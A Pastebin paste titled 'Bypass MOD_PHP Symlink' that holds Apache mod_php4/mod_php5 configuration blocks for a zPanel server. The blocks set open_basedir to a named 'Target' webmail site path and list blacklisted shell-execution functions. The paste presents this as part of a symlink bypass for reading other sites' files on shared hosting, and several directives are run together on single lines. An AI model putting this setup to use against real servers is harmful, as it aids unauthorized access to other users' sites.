Advertisement
AZZATSSINS_CYBERSERK

Bypass MOD_PHP Symlink

Mar 24th, 2017
332
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.31 KB | None | 0 0
  1. /var/zpanel/hostdata/ ====> Path of Websites.
  2. /zadmin/public_html/webmail_mydomain_com ====> our Target.
  3. /var/zpanel/temp/ =====> Path where we can read our Bypass.
  4.  
  5. #For PHP Version 5
  6. Code:
  7. <IfModule mod_php5.c>
  8. php_admin_value open_basedir
  9. "/var/zpanel/hostdata/zadmin/public_html/webmail_mydomain_com:/var/zpanel/temp/"
  10. php_admin_value suhosin.executor.func.blacklist "passthru, show_source, shell_exec, system, pcntl_exec, popen, pclose,
  11. proc_open, proc_nice, proc_terminate, proc_get_status, proc_close, leak, apache_child_terminate, posix_kill,
  12. posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, escapeshellcmd, escapeshellarg, exec" Options
  13. FollowSymLinks Indexes AllowOverride All Order Allow,Deny Allow from all
  14. </IfModule>
  15.  
  16.  
  17. #For PHP Version 4
  18.  
  19. Code:
  20. <IfModule mod_php4.c>
  21. php_admin_value open_basedir
  22. "/var/zpanel/hostdata/zadmin/public_html/webmail_mydomain_com:/var/zpanel/temp/"
  23. php_admin_value suhosin.executor.func.blacklist "passthru, show_source, shell_exec, system, pcntl_exec, popen, pclose,
  24. proc_open, proc_nice, proc_terminate, proc_get_status, proc_close, leak, apache_child_terminate, posix_kill,
  25. posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, escapeshellcmd, escapeshellarg, exec" Options
  26. FollowSymLinks Indexes AllowOverride All Order Allow,Deny Allow from all
  27. </IfModule>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement